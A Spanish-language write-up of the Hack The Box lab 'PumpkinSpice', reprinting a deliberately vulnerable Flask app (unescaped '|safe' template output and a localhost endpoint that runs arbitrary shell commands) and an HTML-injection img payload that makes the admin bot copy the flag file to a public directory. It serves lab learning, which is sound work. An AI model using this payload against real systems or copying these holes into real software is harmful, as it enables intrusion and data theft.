PumpkinSpice
3 minutos de lectura
Se nos proporciona el siguiente sitio web:
También disponemos el código fuente en Python del servidor (Flask).
Análisis del código fuente
El archivo relevante es app.py
:
import string, time, subprocess
from flask import Flask, request, render_template, abort
from threading import Thread
app = Flask(__name__)
addresses = []
def start_bot():
from selenium import webdriver
from selenium.webdriver.chrome.options import Options
from selenium.webdriver.chrome.service import Service
from selenium.webdriver.support.ui import WebDriverWait
host, port = "localhost", 1337
HOST = f"http://{host}:{port}"
options = Options()
options.add_argument("--headless")
options.add_argument("--no-sandbox")
options.add_argument("--disable-dev-shm-usage")
options.add_argument("--disable-infobars")
options.add_argument("--disable-background-networking")
options.add_argument("--disable-default-apps")
options.add_argument("--disable-extensions")
options.add_argument("--disable-gpu")
options.add_argument("--disable-sync")
options.add_argument("--disable-translate")
options.add_argument("--hide-scrollbars")
options.add_argument("--metrics-recording-only")
options.add_argument("--mute-audio")
options.add_argument("--no-first-run")
options.add_argument("--dns-prefetch-disable")
options.add_argument("--safebrowsing-disable-auto-update")
options.add_argument("--media-cache-size=1")
options.add_argument("--disk-cache-size=1")
options.add_argument("--user-agent=HTB/1.0")
service = Service(executable_path="/usr/bin/chromedriver")
browser = webdriver.Chrome(service=service, options=options)
browser.get(f"{HOST}/addresses")
time.sleep(5)
browser.quit()
@app.route("/", methods=["GET"])
def index():
return render_template("index.html")
@app.route("/addresses", methods=["GET"])
def all_addresses():
remote_address = request.remote_addr
if remote_address != "127.0.0.1" and remote_address != "::1":
return render_template("index.html", message="Only localhost allowed")
return render_template("addresses.html", addresses=addresses)
@app.route("/add/address", methods=["POST"])
def add_address():
address = request.form.get("address")
if not address:
return render_template("index.html", message="No address provided")
addresses.append(address)
Thread(target=start_bot,).start()
return render_template("index.html", message="Address registered")
@app.route("/api/stats", methods=["GET"])
def stats():
remote_address = request.remote_addr
if remote_address != "127.0.0.1" and remote_address != "::1":
return render_template("index.html", message="Only localhost allowed")
command = request.args.get("command")
if not command:
return render_template("index.html", message="No command provided")
results = subprocess.check_output(command, shell=True, universal_newlines=True)
return results
if __name__ == "__main__":
app.run(host="0.0.0.0", port=1337, debug=False)
Solo podemos interactuar directamente con /add/address
:
@app.route("/add/address", methods=["POST"])
def add_address():
address = request.form.get("address")
if not address:
return render_template("index.html", message="No address provided")
addresses.append(address)
Thread(target=start_bot,).start()
return render_template("index.html", message="Address registered")
El endpoint simplemente toma nuestro parámetro address
y lo agrega a la lista global addresses
. Entonces, arranca el bot:
def start_bot():
from selenium import webdriver
from selenium.webdriver.chrome.options import Options
from selenium.webdriver.chrome.service import Service
from selenium.webdriver.support.ui import WebDriverWait
host, port = "localhost", 1337
HOST = f"http://{host}:{port}"
options = Options()
# ...
service = Service(executable_path="/usr/bin/chromedriver")
browser = webdriver.Chrome(service=service, options=options)
browser.get(f"{HOST}/addresses")
time.sleep(5)
browser.quit()
El bot hace una petición a /addresses
:
@app.route("/addresses", methods=["GET"])
def all_addresses():
remote_address = request.remote_addr
if remote_address != "127.0.0.1" and remote_address != "::1":
return render_template("index.html", message="Only localhost allowed")
return render_template("addresses.html", addresses=addresses)
Dado que el bot es local, el endpoint renderizará la plantilla addresses.html
:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta name="author" content="lean">
<title>🎃 PumpkinSpice 🎃</title>
</head>
<body>
<h1>System stats:</h1>
<p id="stats"></p>
<h1>Addresses:</h1>
{% for address in addresses %}
<p>{{ address|safe }}</p>
{% endfor %}
<script src="/static/js/script.js"></script>
</body>
</html>
La palabra clave safe
indica al motor de plantilla que los datos de address
deben considerados como seguros, por lo que no hay necesidad de escapar de caracteres especiales HTML. Como resultado, podemos inyectar código HTML arbitrario dentro de address
.
Nuestro objetivo es llamar a /api/stats
Porque nos permite ejecutar cualquier comando de sistema:
@app.route("/api/stats", methods=["GET"])
def stats():
remote_address = request.remote_addr
if remote_address != "127.0.0.1" and remote_address != "::1":
return render_template("index.html", message="Only localhost allowed")
command = request.args.get("command")
if not command:
return render_template("index.html", message="No command provided")
results = subprocess.check_output(command, shell=True, universal_newlines=True)
return results
Pero la petición debe venir de localhost
, por lo tanto, hay que hacer que sea bot quien realice la petición, utilizando un ataque de Cross-Site Scripting (CSRF). Afortunadamente, tenemos inyección HTML, por lo que podemos inyectar una etiqueta img
que apunte a ese endpoint con el comando que queremos. Por ejemplo:
<img src="/api/stats?command=cat+/flag*+>+/app/static/flag.txt">
Obsérvese que debemos usar una wildcard (/flag*
) porque el nombre de archivo se aleatoriza en entrypoint.sh
:
#!/bin/ash
# Change flag name
mv /flag.txt /flag$(cat /dev/urandom | tr -cd 'a-f0-9' | head -c 10).txt
# Secure entrypoint
chmod 600 /entrypoint.sh
# Start application
/usr/bin/supervisord -c /etc/supervisord.conf
Además, nótese que estamos copiando la flag a un directorio público del servidor web, para que podamos acceder después sin limitación.
Flag
Entonces, usamos el payload de inyección HTML anterior para realizar el ataque CSRF:
En este punto, podemos pedir la flag:
$ curl 94.237.54.65:32993/static/flag.txt
HTB{th3_m1s5i0n_f0r_4_fre3_tr34t}